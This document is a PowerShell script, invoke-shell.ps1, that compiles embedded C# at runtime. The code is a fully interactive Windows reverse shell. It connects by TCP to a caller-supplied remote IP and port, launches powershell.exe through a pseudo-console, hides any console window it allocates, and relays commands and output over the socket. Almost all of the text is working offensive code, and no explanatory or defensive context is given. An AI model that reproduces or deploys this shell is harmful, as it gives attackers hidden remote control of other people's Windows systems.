invoke-shell.ps1

#Requires -Version 2

function Invoke-Shell
{   
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $RemoteIp,
        
        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $RemotePort,

        [Parameter()]
        [String]
        $Rows = "24",

        [Parameter()]
        [String]
        $Cols = "80",

        [Parameter()]
        [String]
        $CommandLine = "powershell.exe"
    )
    $parametersShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
    Add-Type -TypeDefinition $Source -Language CSharp;
    $output = [ShellMainClass]::ShellMain($parametersShell)
    Write-Output $output
}

$Source = @"
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;

public static class Shell
{
    private const string errorString = "{{{ShellException}}}\r\n";
    private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
    private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
    private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
    private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
    private const uint CREATE_NO_WINDOW = 0x08000000;
    private const int STARTF_USESTDHANDLES = 0x00000100;
    private const int BUFFER_SIZE_PIPE = 1048576;

    private const UInt32 INFINITE = 0xFFFFFFFF;
    private const int SW_HIDE = 0;
    private const uint GENERIC_READ = 0x80000000;
    private const uint GENERIC_WRITE = 0x40000000;
    private const uint FILE_SHARE_READ = 0x00000001;
    private const uint FILE_SHARE_WRITE = 0x00000002;
    private const uint FILE_ATTRIBUTE_NORMAL = 0x80;
    private const uint OPEN_EXISTING = 3;
    private const int STD_INPUT_HANDLE = -10;
    private const int STD_OUTPUT_HANDLE = -11;
    private const int STD_ERROR_HANDLE = -12;
    
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    private struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    private struct SECURITY_ATTRIBUTES
    {
        public int nLength;
        public IntPtr lpSecurityDescriptor;
        public int bInheritHandle;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    private struct COORD
    {
        public short X;
        public short Y;
    }
    
    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
    private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError=true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
            
    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr GetStdHandle(int nStdHandle);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
    private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
   
    [DllImport("kernel32.dll", SetLastError=true)]
    private static extern bool WriteFile(IntPtr hFile, byte [] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern int ClosePseudoConsole(IntPtr hPC);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
    
    [DllImport("kernel32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool AllocConsole();
    
    [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
    private static extern bool FreeConsole();
    
    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetConsoleWindow();
    
    [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
    
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    private static Socket ConnectSocket(string remoteIp, int remotePort){
        Socket s = null;
        IPAddress remoteIpInt = IPAddress.Parse(remoteIp);
        IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort);
        Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
        try{
            shellSocket.Connect(ipEndpoint);
            if(shellSocket.Connected)
            s = shellSocket;
            byte[] banner = Encoding.ASCII.GetBytes("\r\nShell\r\n");
            s.Send(banner);
        }
        catch{
            s = null;
        }
        return s;
    }
    
    private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){
        Thread.Sleep(500);//little tweak for slower connections
        if (shellSocket.Available > 0){
            byte[] received = new byte[100];
            int rowsTemp, colsTemp;
            int bytesReceived = shellSocket.Receive(received);
            string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); 
            string rowsString = sizeReceived.Split(' ')[0].Trim();
            string colsString = sizeReceived.Split(' ')[1].Trim();
            if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){
                rows=(uint)rowsTemp;
                cols=(uint)colsTemp;
            }
        }
    }
    
    private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.nLength = Marshal.SizeOf(pSec);
        pSec.bInheritHandle=1;
        pSec.lpSecurityDescriptor=IntPtr.Zero;
        if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
            throw new InvalidOperationException("Could not create the InputPipe");
        if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
            throw new InvalidOperationException("Could not create the OutputPipe");
    }
    
    private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
        oldStdIn = GetStdHandle(STD_INPUT_HANDLE);
        oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
        oldStdErr = GetStdHandle(STD_ERROR_HANDLE);
        IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
        IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
        SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
        SetStdHandle(STD_ERROR_HANDLE, hStdout);
        SetStdHandle(STD_INPUT_HANDLE, hStdin); 
    }
    
    private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){
        SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut);
        SetStdHandle(STD_ERROR_HANDLE, oldStdErr);
        SetStdHandle(STD_INPUT_HANDLE, oldStdIn); 
    }
    
    private static void EnableVirtualTerminalSequenceProcessing()
    {
        uint outConsoleMode = 0;
        IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
        if (!GetConsoleMode(hStdOut, out outConsoleMode))
        {
            throw new InvalidOperationException("Could not get console mode");
        }
        outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
        if (!SetConsoleMode(hStdOut, outConsoleMode))
        {
            throw new InvalidOperationException("Could not enable virtual terminal processing");
        }
    }
    
    private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
        int result = -1;
        EnableVirtualTerminalSequenceProcessing();
        COORD consoleCoord = new COORD();
        consoleCoord.X=(short)cols;
        consoleCoord.Y=(short)rows;
        result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
        return result;
    }
    
    private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes)
    {
        IntPtr lpSize = IntPtr.Zero;
        bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
        if (success || lpSize == IntPtr.Zero)
        {
            throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
        }
        STARTUPINFOEX startupInfo = new STARTUPINFOEX();
        startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo);
        startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
        success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
        if (!success)
        {
            throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
        }
        success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero);
        if (!success)
        {
            throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
        }
        return startupInfo;
    }
    
    private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine)
    {
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        int securityAttributeSize = Marshal.SizeOf(pSec);
        pSec.nLength = securityAttributeSize;
        SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
        tSec.nLength = securityAttributeSize;
        bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
        if (!success)
        {
            throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error());
        }
        return pInfo;
    }
    
    private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine){
        STARTUPINFOEX startupInfo =  ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE);
        PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine);
        return processInfo;
    }
        
    private static void ThreadReadPipeWriteSocket(object threadParams)
    {
        object[] threadParameters = (object[]) threadParams;
        IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
        Socket shellSocket = (Socket)threadParameters[1];
        uint bufferSize=16*1024;
        byte[] bytesToWrite = new byte[bufferSize];
        bool readSuccess = false;
        Int32 bytesSent = 0;
        uint dwBytesRead=0;
        do{
            readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero);
            bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0);
        } while (bytesSent > 0 && readSuccess);
    }
    
    private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){
        object[] threadParameters = new object[2];
        threadParameters[0]=OutputPipeRead;
        threadParameters[1]=shellSocket;
        Thread thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocket);
        thThreadReadPipeWriteSocket.Start(threadParameters);
        return thThreadReadPipeWriteSocket;
    }
    
    private static void ThreadReadSocketWritePipe(object threadParams)
    {
        object[] threadParameters = (object[]) threadParams;
        IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
        Socket shellSocket = (Socket)threadParameters[1];
        IntPtr hChildProcess = (IntPtr)threadParameters[2];
        uint bufferSize=16*1024;
        byte[] bytesReceived = new byte[bufferSize];
        bool writeSuccess = false;
        Int32 nBytesReceived = 0;
        uint bytesWritten = 0;
        do{
            nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0);
            writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);	
        } while (nBytesReceived > 0 && writeSuccess);
        TerminateProcess(hChildProcess, 0);
    }
    
    private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){
        object[] threadParameters = new object[3];
        threadParameters[0]=InputPipeWrite;
        threadParameters[1]=shellSocket;
        threadParameters[2]=hChildProcess;
        Thread thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipe);
        thReadSocketWritePipe.Start(threadParameters);
        return thReadSocketWritePipe;
    }
    
    public static string SpawnShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){
        string output = "";
        Socket shellSocket = ConnectSocket(remoteIp, remotePort);
        if(shellSocket == null){            
            output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
            return output;
        }
        TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
        IntPtr InputPipeRead = new IntPtr(0);
        IntPtr InputPipeWrite = new IntPtr(0);
        IntPtr OutputPipeRead = new IntPtr(0);
        IntPtr OutputPipeWrite = new IntPtr(0);
        IntPtr handlePseudoConsole = new IntPtr(0);
        IntPtr oldStdIn = new IntPtr(0);
        IntPtr oldStdOut = new IntPtr(0);
        IntPtr oldStdErr = new IntPtr(0);
        bool newConsoleAllocated = false;
        PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
        CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
        InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
        if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
            
            STARTUPINFO sInfo = new STARTUPINFO();
            sInfo.cb = Marshal.SizeOf(sInfo);
            sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; 
            sInfo.hStdInput = InputPipeRead;       
            sInfo.hStdOutput = OutputPipeWrite;
            sInfo.hStdError = OutputPipeWrite;
            CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
        }
        else{
            Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
            if(GetConsoleWindow() == IntPtr.Zero){
                AllocConsole();
                ShowWindow(GetConsoleWindow(), SW_HIDE);
                newConsoleAllocated = true;
            }
            int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
            if(pseudoConsoleCreationResult != 0)
            {
                output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString());
                return output;
            }
            childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
        }
        // Note: We can close the handles to the PTY-end of the pipes here
        // because the handles are dup'ed into the ConHost and will be released
        // when the ConPTY is destroyed.
        if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead);
        if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite);
        //Threads have better performance than Tasks
        Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket);
        Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess);
        WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
        //cleanup everything
        thThreadReadPipeWriteSocket.Abort();
        thReadSocketWritePipe.Abort();
        shellSocket.Shutdown(SocketShutdown.Both);
        shellSocket.Close();
        RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
        if(newConsoleAllocated)
            FreeConsole();
        CloseHandle(childProcessInfo.hThread);
        CloseHandle(childProcessInfo.hProcess);
        if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);
        if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite);
        if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead);
        output += "Shell kindly exited.\r\n";
        return output;
    }
}

public static class ShellMainClass{
    private static string help = @"
";
    
    private static bool HelpRequired(string param)
    {
        return param == "-h" || param == "--help" || param == "/?";
    }
    
    private static void CheckArgs(string[] arguments)
    {
        if(arguments.Length < 2){
            Console.Out.Write("\r\nShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
            System.Environment.Exit(0);
        }
            
    }
    
    private static void DisplayHelp()
    {
        Console.Out.Write(help);
    }
    
    private static string CheckRemoteIpArg(string ipString){
        IPAddress address;
        if (!IPAddress.TryParse(ipString, out address))
        {
            Console.Out.Write("\r\nShell: Invalid remoteIp value {0}\r\n", ipString);
            System.Environment.Exit(0);
        }
        return ipString;
    }
    
    private static int CheckInt(string arg){
        int ret = 0;
        if (!Int32.TryParse(arg, out ret))
        {
            Console.Out.Write("\r\nShell: Invalid integer value {0}\r\n", arg);
            System.Environment.Exit(0);
        }
        return ret;
    }
    
    private static uint ParseRows(string[] arguments){
        uint rows = 24;
        if (arguments.Length > 2)
            rows = (uint)CheckInt(arguments[2]);
        return rows;
    }
    
    private static uint ParseCols(string[] arguments){
        uint cols = 80;
        if (arguments.Length > 3)
            cols = (uint)CheckInt(arguments[3]);
        return cols;
    }

    private static string ParseCommandLine(string[] arguments){
        string commandLine = "powershell.exe";
        if (arguments.Length > 4)
            commandLine = arguments[4];
        return commandLine;
    }

    public static string ShellMain(string[] args){
        string output="";
        if (args.Length == 1 && HelpRequired(args[0]))
        {
            DisplayHelp();
        }
        else
        {
            CheckArgs(args);
            string remoteIp = CheckRemoteIpArg(args[0]);
            int remotePort = CheckInt(args[1]);
            uint rows = ParseRows(args);
            uint cols = ParseCols(args);
            string commandLine = ParseCommandLine(args);
            output=Shell.SpawnShell(remoteIp, remotePort, rows, cols, commandLine);
        }
        return output;
    }
}


class MainClass{
    static void Main(string[] args)
    {
        Console.Out.Write(ShellMainClass.ShellMain(args));
    }
}
"@;